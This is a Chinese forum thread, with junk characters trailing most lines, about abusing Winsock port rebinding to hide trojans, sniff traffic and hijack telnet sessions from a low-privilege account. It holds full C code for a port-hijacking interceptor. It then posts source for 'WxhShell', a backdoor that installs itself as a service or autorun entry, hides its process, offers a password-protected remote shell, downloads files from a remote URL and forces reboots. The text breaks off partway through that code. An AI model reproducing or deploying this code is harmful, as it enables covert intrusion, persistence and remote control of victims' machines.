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[讨论]用端口截听实现隐藏嗅探与攻击

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所在楼道
在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是: 0D@$  
  s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); kV?fie<\)  
[*zg? ur  
  saddr.sin_family = AF_INET; [yQ%g;m  
[NO4Wzc  
  saddr.sin_addr.s_addr = htonl(INADDR_ANY); JRFUNy1+e1  
^ `Ozw^~  
  bind(s,(SOCKADDR *)&saddr,sizeof(saddr)); C7NSmZ  
B^P&+,\[}  
  其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。 0]c&K  
Qm[s"pM  
  这意味着什么?意味着可以进行如下的攻击: 4^2>K C_  
(M$>*O3SR  
  1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。 !.mR]El{K  
J$1H3#VV G  
  2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到) o68i0aFW  
Zc1x"j  
  3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。 ;;+AdN5  
TMPk)N1Ka  
  4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。  Yr-SlO>  
pl&nr7\  
  其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。 9N9&y^SmD  
>rEZ$h  
  解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。 qNj?Rwc  
9c)#j&2?H  
  下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。 .UL 2(0  
~>=.^  
  #include EyPJ Jc8  
  #include /CsP@f_Gw  
  #include ;i6~iLY  
  #include    H"AL@=  
  DWORD WINAPI ClientThread(LPVOID lpParam);   /ie&uW y  
  int main() P1LOj  
  { <6 Rec^QF  
  WORD wVersionRequested; z&d.YO_W  
  DWORD ret; 66eJp-5e8  
  WSADATA wsaData; $Xlr@)%  
  BOOL val; VM\R-[  
  SOCKADDR_IN saddr; 'A:Y&w"r  
  SOCKADDR_IN scaddr; u)r/#fUZ  
  int err; JnBc@qnP6  
  SOCKET s; <<MpeMi  
  SOCKET sc; 3qe`#j  
  int caddsize; ) >FAtE   
  HANDLE mt; d[3me{Rs  
  DWORD tid;   *FC8=U2\X  
  wVersionRequested = MAKEWORD( 2, 2 ); &]n }fq  
  err = WSAStartup( wVersionRequested, &wsaData ); X13+n2^8]  
  if ( err != 0 ) { 0@zJa;z'  
  printf("error!WSAStartup failed!\n"); [6mK<A,/  
  return -1; q\o#<'F1J  
  } H;nzo3x  
  saddr.sin_family = AF_INET; Zio! j%G  
   Y`ip. Nx  
  //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了 o-RZwufZ`  
9S]pC?N]E  
  saddr.sin_addr.s_addr = inet_addr("192.168.0.60"); ~&)\8@2  
  saddr.sin_port = htons(23); U%:%. Bys  
  if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) Ljz)%y[s  
  { ?l6yLn5si^  
  printf("error!socket failed!\n"); 'W_NRt:  
  return -1; 4%r?(C0x  
  } VX.LL 5  
  val = TRUE; Sr6'$8#>Y  
  //SO_REUSEADDR选项就是可以实现端口重绑定的 ^;PjO|mD Z  
  if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0) ZNw|5u^N  
  { g.9C>>tj  
  printf("error!setsockopt failed!\n"); ]gPx%c  
  return -1; HU?1>}4L  
  } PxrT@.T$  
  //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码; S,:!H@~B  
  //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽 fs#9~b3  
  //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击 Qt4mg?X/  
As)?~dV  
  if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR) 45.ks.  
  { Zt9G[[]  
  ret=GetLastError(); ZXQ5fBx  
  printf("error!bind failed!\n"); e5bXgmyil  
  return -1; s 7 nl  
  } &{8:XJe*,%  
  listen(s,2); Fc`IRPW<  
  while(1) Y[7prjd  
  { 6t;;Fz  
  caddsize = sizeof(scaddr); Jp"29 )w  
  //接受连接请求 Iz+%wAZ|B6  
  sc = accept(s,(struct sockaddr *)&scaddr,&caddsize); a+LK~mC*  
  if(sc!=INVALID_SOCKET) 3#,6(k4>  
  { (k!7`<k!Y  
  mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid); GZaB z#U  
  if(mt==NULL) ZskX!{  
  { kBk>1jn"  
  printf("Thread Creat Failed!\n"); K9xvog  
  break;  Q(w;  
  } > .NLmzUX  
  } kB@gy}  
  CloseHandle(mt); f{VV U/$  
  } %|H]T] s  
  closesocket(s); eoww N>-2C  
  WSACleanup(); Y(6ev o&IR  
  return 0; `G!HGzVx;j  
  }   Nxt:U{`T'  
  DWORD WINAPI ClientThread(LPVOID lpParam) ++b[>};  
  { ] hK}ASC  
  SOCKET ss = (SOCKET)lpParam; 1]''@oh{6U  
  SOCKET sc; #:BkDidt2v  
  unsigned char buf[4096]; <Mvni z  
  SOCKADDR_IN saddr; m BvO<?ec  
  long num; JqO1 a?H  
  DWORD val; rVP\F{Q4Tr  
  DWORD ret; fmK~?  
  //如果是隐藏端口应用的话,可以在此处加一些判断 v*Gd=\88  
  //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发   &u&WP  
  saddr.sin_family = AF_INET; OcV,pJ  
  saddr.sin_addr.s_addr = inet_addr("127.0.0.1"); rtAPkXJFM  
  saddr.sin_port = htons(23); Z#@  
  if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) 39O rY  
  { C)j/!+nh  
  printf("error!socket failed!\n"); X[ Ufq^fyA  
  return -1; dz+!yE\f$  
  } g(i6Uj~)  
  val = 100; giu{,gS0?M  
  if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) 'A5T$JV.r4  
  { !0lk}Uzkh  
  ret = GetLastError(); `l'T/F \  
  return -1; Az y`4  
  } [c=P)t7 V  
  if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) nG4ZOx.*1g  
  { J/P[9m30[  
  ret = GetLastError(); gk| % 4.  
  return -1; (<>??(VM  
  } _D}3``  
  if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0) "XxmiK  
  { Nzgi)xX0HX  
  printf("error!socket connect failed!\n"); ^k7I+A  
  closesocket(sc); 2iM}YCV  
  closesocket(ss); hNh!H<}|m8  
  return -1; .*YF{!R`h  
  } I1m[M?  
  while(1) .F$}a%  
  { /7"V~c6  
  //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。 tf7HhOCYX  
  //如果是嗅探内容的话,可以再此处进行内容分析和记录 U - OD  
  //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。 ~vt*%GN3  
  num = recv(ss,buf,4096,0); IrZ\;!NK  
  if(num>0) s9"X.-!  
  send(sc,buf,num,0); wipl5O@L  
  else if(num==0) ,gNZHKNq  
  break; 0,~s0]h0V  
  num = recv(sc,buf,4096,0); |U1 [R\X  
  if(num>0) eE'>kP}  
  send(ss,buf,num,0); ^@8XJ[C,_  
  else if(num==0) bP-(N14x+  
  break; ;/kd.Q  
  } sXEIC#rq  
  closesocket(ss); Drtg7v{@\  
  closesocket(sc); )t+pwh!8  
  return 0 ; +o4o!;E)  
  } ,nL~?h-Zh  
iCpm^XT  
.S|T{DMQ[  
========================================================== r=3`Eb"t  
p@~Y[a =  
下边附上一个代码,,WXhSHELL  kSEA  
%t,42jQ9  
========================================================== Tv7W)?3h  
]T/%Bau  
#include "stdafx.h" U@).jpN  
6_" n  
#include <stdio.h> |)To 0Z  
#include <string.h> 6R^F^<<  
#include <windows.h> 1J1Jp|j.  
#include <winsock2.h> {J1rjrPo  
#include <winsvc.h> KB~1]cYMp  
#include <urlmon.h> :_i1gY)  
gQik>gFr  
#pragma comment (lib, "Ws2_32.lib") 3(J>aQZuI  
#pragma comment (lib, "urlmon.lib") )G/=3;!  
MHWc~@R  
#define MAX_USER   100 // 最大客户端连接数 <H] PP6_g:  
#define BUF_SOCK   200 // sock buffer H#GR*4x  
#define KEY_BUFF   255 // 输入 buffer ;p*L(8<YI  
.(Ux1.0C  
#define REBOOT     0   // 重启 i| cA)  
#define SHUTDOWN   1   // 关机 P\WHM(  
l+6@,TY1U  
#define DEF_PORT   5000 // 监听端口 v,ecNuy*d  
o7+<sL  
#define REG_LEN     16   // 注册表键长度 Z\C"/j<y  
#define SVC_LEN     80   // NT服务名长度 } -4p8Zt  
8bMw.u=F  
// 从dll定义API  >h2qam  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); "fNv(> -7s  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); YRZw|H{>t  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); 6flO;d/v  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); H h](n<Bs  
6C.!+km  
// wxhshell配置信息 `4@` G:6BL  
struct WSCFG { Rq(+zL(f  
  int ws_port;         // 监听端口 </<z7V,{  
  char ws_passstr[REG_LEN]; // 口令 q{*[uJ}Xc"  
  int ws_autoins;       // 安装标记, 1=yes 0=no fU.hb%m)Q\  
  char ws_regname[REG_LEN]; // 注册表键名 "o;%em*Bc  
  char ws_svcname[REG_LEN]; // 服务名 sdXchVC  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 P >0S ZP  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 yT3K 2A  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 >oy%qLHe~t  
int ws_downexe;       // 下载执行标记, 1=yes 0=no 1:cq\Y  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" ~:!& }e5  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 UBM8l  
/Y\q&}  
}; 0=`aXb-  
/s)It  
// default Wxhshell configuration Ca"i<[8  
struct WSCFG wscfg={DEF_PORT, 3s:)CXO  
    "xuhuanlingzhe", _jkJw2+s\  
    1, cv_O2Q4,@  
    "Wxhshell", ?\Y7]_]/  
    "Wxhshell", %iV\nFal>  
            "WxhShell Service", k3OnvnJb  
    "Wrsky Windows CmdShell Service", e!i.u'z  
    "Please Input Your Password: ", 3joMtRB>;  
  1, T^ xp2cZ  
  "http://www.wrsky.com/wxhshell.exe", `n|k+tsC  
  "Wxhshell.exe" N/^[c+J  
    }; [MC}zd'/  
Z.>?Dt  
// 消息定义模块 =g@hh)3wP  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; -IV-"-6(  
char *msg_ws_prompt="\n\r? for help\n\r#>"; &E k\  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; SR)@'-Wd  
char *msg_ws_ext="\n\rExit."; 9qZ|=r]y'  
char *msg_ws_end="\n\rQuit."; v g tJ+GjN  
char *msg_ws_boot="\n\rReboot..."; \v9<L'NP)  
char *msg_ws_poff="\n\rShutdown..."; hi]\M)l&x  
char *msg_ws_down="\n\rSave to "; kS7T'[d  
v#IZSBvuQK  
char *msg_ws_err="\n\rErr!"; YX2j;Y?  
char *msg_ws_ok="\n\rOK!"; K&Q0]r?  
R91u6r#  
char ExeFile[MAX_PATH]; 0Zl1(;hx@  
int nUser = 0; |om3*]7  
HANDLE handles[MAX_USER]; |@)ij c4i  
int OsIsNt; GHWpL\A{8`  
WHF:> 0B  
SERVICE_STATUS       serviceStatus; Ipmr@%~  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; }@A~a`9g  
f.r-,%^6{  
// 函数声明 *KV] MdS  
int Install(void); & l|B>{4v  
int Uninstall(void); g(;ejKSR  
int DownloadFile(char *sURL, SOCKET wsh); MN)<Tr2f  
int Boot(int flag); 17qrBG-/MD  
void HideProc(void); qOa-@MN  
int GetOsVer(void); ;6)|'3.B9  
int Wxhshell(SOCKET wsl); )'<zC  
void TalkWithClient(void *cs); \J\1i=a-=  
int CmdShell(SOCKET sock); 'XQv>J  
int StartFromService(void); /3Gv51'  
int StartWxhshell(LPSTR lpCmdLine); pV-.r-P  
\S2'3SD d/  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); cRfX  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); O "h+i>|l  
p0YTZS ]h  
// 数据结构和表定义 *'t`;m~  
SERVICE_TABLE_ENTRY DispatchTable[] = wLUmRo56aR  
{ =O _[9kuJ  
{wscfg.ws_svcname, NTServiceMain}, rC*nZ*  
{NULL, NULL} <*5D0q#~"  
}; {DO9{96w4  
bo"I:)n;  
// 自我安装 -jw=Iyv  
int Install(void) #5I "M WA  
{ :{6[U=O  
  char svExeFile[MAX_PATH]; 1-[{4{R  
  HKEY key; 4* hmeS"  
  strcpy(svExeFile,ExeFile);  JuI,wA  
nz&JG~Qfm  
// 如果是win9x系统,修改注册表设为自启动 tE>:kx0*3  
if(!OsIsNt) { ~gDtj&F  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { ~5#7i_%@E}  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); _0`O}  
  RegCloseKey(key); ^b.J z}  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { [(K^x?\Y0'  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); JZ7-? o  
  RegCloseKey(key); 7I  
  return 0; Mt:(w;Y  
    } vNt2s)J$  
  } jHZ<G c  
} #,;k>2j0  
else { hv)($;  
pQhv3F  
// 如果是NT以上系统,安装为系统服务 x/<. ?[A  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); #75;%a8  
if (schSCManager!=0) dA~6{*)  
{ &_6:TqJ  
  SC_HANDLE schService = CreateService J.d `tiN  
  ( kgu+ q\?  
  schSCManager, HTG;'$H^  
  wscfg.ws_svcname, G# C)]4[n  
  wscfg.ws_svcdisp, PTh Ya  
  SERVICE_ALL_ACCESS, 3WY W])  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , _V?Q4}7d/  
  SERVICE_AUTO_START, ;D7jE+  
  SERVICE_ERROR_NORMAL, \NqC i'&  
  svExeFile, gs3}rW  
  NULL, V_QVLW  
  NULL, )qIK7;  
  NULL, { 1+H\ (v  
  NULL, !|/fVWH  
  NULL >seB["C  
  ); jj2UUQ|  
  if (schService!=0) :KLD~k7yA(  
  { Fqv5WoYVf  
  CloseServiceHandle(schService); on\\;V_/Q  
  CloseServiceHandle(schSCManager); ^q` *!B 9@  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); \zUsHK?L"t  
  strcat(svExeFile,wscfg.ws_svcname); aBnbu vp  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { -Me\nu8(RF  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); 96avgyc  
  RegCloseKey(key); v2'J L(=  
  return 0; LayU)TIt  
    } di 5_5_$`o  
  } M)7enp) F.  
  CloseServiceHandle(schSCManager); ~}*;Ko\  
} as4NvZ@+r  
} %K7}yy&9C  
O|~'-^  
return 1; s|T7)PgR  
} ]N_^{k,  
*zWn4BckN  
// 自我卸载 o{p_s0IX;S  
int Uninstall(void) v2{s2kB=  
{ z sPuLn9G  
  HKEY key; vNbA/sM  
rYQ@"o0/Y  
if(!OsIsNt) { U^&Cvxc[[  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { pt#[.n#f  
  RegDeleteValue(key,wscfg.ws_regname); dk/*%a +  
  RegCloseKey(key); xF;v 6d  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { 8B/9{8  
  RegDeleteValue(key,wscfg.ws_regname); 3~ZVAg[c  
  RegCloseKey(key); C 5 UDez  
  return 0; sIsu >eL  
  } [ )~@NN  
} qGCg3u6  
} ,IE0+!I  
else { Ui!|!V-  
@/L. BfTz  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); )6^xIh  
if (schSCManager!=0) c&-$?f r  
{ I>Q,]S1h  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); z_@zMLs  
  if (schService!=0) v!A|n3B]p  
  { Els=:4  
  if(DeleteService(schService)!=0) { V JL;+  
  CloseServiceHandle(schService); ot#kU 8f  
  CloseServiceHandle(schSCManager); yW?%c#9D  
  return 0; uTGvXKL7  
  } #9VY[<  
  CloseServiceHandle(schService); LW5ggU/  
  } g}QTZT8  
  CloseServiceHandle(schSCManager); -U[`pUY?f  
} G | oG:  
} :-" jK w  
$i~`vu*  
return 1; 9mphj)`d;#  
} fcXk]W  
d ovwB`5  
// 从指定url下载文件 os^SD&hL  
int DownloadFile(char *sURL, SOCKET wsh) ^) ^|;C\`  
{ _6zP] |VBr  
  HRESULT hr; kTc5KHJ7  
char seps[]= "/"; bI6wE'h  
char *token; sNmC#,  
char *file; {eN{Zh5"  
char myURL[MAX_PATH]; oHd0 <TO  
char myFILE[MAX_PATH]; SliQwm5  
i}F;fWZ`  
strcpy(myURL,sURL); !nBm}E7d  
  token=strtok(myURL,seps); qZ_fQ@   
  while(token!=NULL) @ZR4%A"X4  
  { 5>[sCl-  
    file=token; {&u7kWD|  
  token=strtok(NULL,seps); ^1yTL5#:Vw  
  } f<4q]HCa  
'# IuY  
GetCurrentDirectory(MAX_PATH,myFILE); ::Q);  
strcat(myFILE, "\\"); @3TkD_B&  
strcat(myFILE, file); `=$jc4@J  
  send(wsh,myFILE,strlen(myFILE),0); Q[Sd  
send(wsh,"...",3,0); ( WtE`f;Q  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); "q>I?UcZ  
  if(hr==S_OK) _.*4Y  
return 0; r2F  
else ],}afa!A  
return 1; 2G}7R5``9  
;E?  hz  
} v\9,j  
4OZ5hH h  
// 系统电源模块 -1r & s  
int Boot(int flag) &c?hJ8"  
{ U[e8K  
  HANDLE hToken; B 6'%J  
  TOKEN_PRIVILEGES tkp; 5az 4NT  
E<#4G9O<  
  if(OsIsNt) { pg}+lYGP  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); :n>ccZeMv  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); CNRU"I+jU  
    tkp.PrivilegeCount = 1; /mB Beg^a  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; _?]BVw  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); V3A>Ag+^~  
if(flag==REBOOT) { qzlMn)e  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) ks%7W -  
  return 0; + 65~,e  
} )lDIzLp  
else { e=n{f*KG`  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) ,F`KQ )\"  
  return 0; mQ ^ @ \s  
} W]yClx \  
  } KIAe36.~  
  else { +/!=Ub[:U  
if(flag==REBOOT) { ? __aVQ7  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) X# kjt )W  
  return 0; igj={==m  
} qzH qj;  
else { Z?~d']XD  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) 9"HmHy&:E  
  return 0; C>:/(O  
} Hr<C2p^a  
} QLB1:O>  
s*)41\V0  
return 1; =(|xU?OL  
} Nr]8P/[~  
=,C9O  
// win9x进程隐藏模块 o1#:j?sN  
void HideProc(void) GIRSoRVsh  
{ s?@)a,C%k  
orB8Q\p'  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); znQ'm^h  
  if ( hKernel != NULL ) U7]<U-.&  
  { Xb<DpBrk  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); sMz^!RX@  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); !O F?xW  
    FreeLibrary(hKernel); yWv<A^C &  
  } 0E?s>-b  
joChML_  
return; &$b\=  
} uO ?Od  
43J\8WBn@  
// 获取操作系统版本 SY$J+YBLM  
int GetOsVer(void) (@KoqwVWc  
{ %Le:wC  
  OSVERSIONINFO winfo; |-(IJG#)  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); N>A{)_k3  
  GetVersionEx(&winfo); *?^Z)C>  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) ]3O 4\o  
  return 1; mFqSD  
  else 1jH7<%y  
  return 0; zd*3R+>U'>  
} k'[ S@+5  
4pmTicA~  
// 客户端句柄模块 9TVB<}0G  
int Wxhshell(SOCKET wsl) p~Hvl3SxR  
{ JJ/1daj  
  SOCKET wsh; y:[BP4H?y  
  struct sockaddr_in client; %6NO0 F^  
  DWORD myID; L bJtpwz>z  
c Ndw9?Z  
  while(nUser<MAX_USER) x],8yR)R  
{ 2qZa9^}  
  int nSize=sizeof(client); 10C 2=  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); $?FS00p*|X  
  if(wsh==INVALID_SOCKET) return 1; w=f0*$ue+w  
I?_E,.)[ I  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); "El^38Ho  
if(handles[nUser]==0) I86e&"40  
  closesocket(wsh); t6'61*)|0  
else ?mH@`c,fM  
  nUser++; jW-;4e*H=V  
  } )Vwj9WD  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); p= !#],[  
#*!+b  
  return 0; `IEq@Wr#$!  
} kWB, ;7  
9pWi.J  
// 关闭 socket cu[!D}tVU  
void CloseIt(SOCKET wsh) P3'2IzNw  
{ dCB&c ^  
closesocket(wsh); ds- yif6   
nUser--; Y)$52m5rM  
ExitThread(0); No:^hY:F8  
} hVMYB_<~  
y L*LJ  
// 客户端请求句柄 5a'yXB}  
void TalkWithClient(void *cs) h^}_YaT\  
{ n vm^k  
2 9q?$V(  
  SOCKET wsh=(SOCKET)cs; as>:\hjP##  
  char pwd[SVC_LEN]; ./$ <J6-J  
  char cmd[KEY_BUFF]; <5dH *K  
char chr[1]; Z[Wlyb0  
int i,j; 2 =>*O  
"37*A<+f  
  while (nUser < MAX_USER) { ~eDI$IO  
f%c06Un=  
if(wscfg.ws_passstr) { A:/}`  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); kEO1TS  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); ] bIt@GB  
  //ZeroMemory(pwd,KEY_BUFF); yL.^ =  
      i=0; Zp`~}LV{  
  while(i<SVC_LEN) { VSh!4z1  
g[M]i6h2  
  // 设置超时 *2`:VFEV  
  fd_set FdRead; u=%y  
  struct timeval TimeOut; b7bSTFZxC  
  FD_ZERO(&FdRead); I-,>DLG  
  FD_SET(wsh,&FdRead); A^-iHm  
  TimeOut.tv_sec=8; B22b&0  
  TimeOut.tv_usec=0; TM0b-W (H  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); >)LAjwhBp  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); `qE4U4  
?9p$XG  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); X<Z(]`i  
  pwd=chr[0]; `|Ey)@w  
  if(chr[0]==0xd || chr[0]==0xa) { 4Q;<Q"  
  pwd=0; H<,bq*@  
  break; y`rL=N#  
  } Wm(:P  
  i++; I]jX7.fx  
    } u#FXW_-TK  
(k8Z=/N~  
  // 如果是非法用户,关闭 socket ijF V<P  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); zrrz<dW  
} _lP4}9p  
 DwXU  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); )6=gooe]  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); >b>gr OX  
3T1P$E" m  
while(1) { #&V5H{  
+ 8f>^*:u  
  ZeroMemory(cmd,KEY_BUFF); OF8WDo`  
!R74J=#(  
      // 自动支持客户端 telnet标准   @0|nq9l1  
  j=0; frc{>u~t  
  while(j<KEY_BUFF) { <GaT|Hhc=  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); ,Aj }]h\L  
  cmd[j]=chr[0]; .b,~f  
  if(chr[0]==0xa || chr[0]==0xd) { Fj^AW v^/  
  cmd[j]=0; '0RRFO  
  break; ,T$r9!WTM  
  } ra:GzkIw  
  j++; -2 x E#r  
    } J)*8|E9P  
?L\z}0#  
  // 下载文件 hM>*a!)U  
  if(strstr(cmd,"http://")) { >)^N J2Fd  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); /PqUXF  
  if(DownloadFile(cmd,wsh)) 4fty~0i=z  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); JpK[&/Ct  
  else 2ce'fMV  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); /UHp [yod  
  } :tLbFW[  
  else { N@()F&e  
cy3M^_5B<  
    switch(cmd[0]) { ZMdW2_*F   
  Dx3%K S  
  // 帮助 qlUzr.^-  
  case '?': { dE [Ol   
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); TsD;Kl1  
    break; Q#pnj thM  
  } ~<,Sh~Ana.  
  // 安装 B {aU;{1  
  case 'i': { yW("G-Nm  
    if(Install()) iyj3QLqE  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); j"hASBTgp  
    else PN &|8_  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); "PzP; Br  
    break; jdM=SBy7q  
    } jNc<~{/  
  // 卸载 W:O0}   
  case 'r': { ^|?1_r  
    if(Uninstall()) _{Y$o'*#I  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); a$m_D!b~_  
    else 6Z8l8:r-6  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); `6F +Rrn  
    break; Tpzw=bC^  
    } /DO'IHC.o  
  // 显示 wxhshell 所在路径 A[H;WKn0  
  case 'p': { v!trsjb  
    char svExeFile[MAX_PATH]; T~J? AKx  
    strcpy(svExeFile,"\n\r"); "}zda*z8  
      strcat(svExeFile,ExeFile); R 1'`F{56  
        send(wsh,svExeFile,strlen(svExeFile),0); t5) J;0/  
    break; +(mL~td01  
    } |C D}<r(N  
  // 重启 % {Q-8w!  
  case 'b': { D{C:d\ e)$  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); f&yQhe6q  
    if(Boot(REBOOT)) doD>m?rig3  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); ]k*1KP  
    else { ``9 GY  
    closesocket(wsh); ~lw<799F6  
    ExitThread(0); ,%hj cGX11  
    } / Z!i;@Wf  
    break; ~E*d G  
    } /2@["*^$  
  // 关机 |4Ha?W  
  case 'd': { F_ljx  
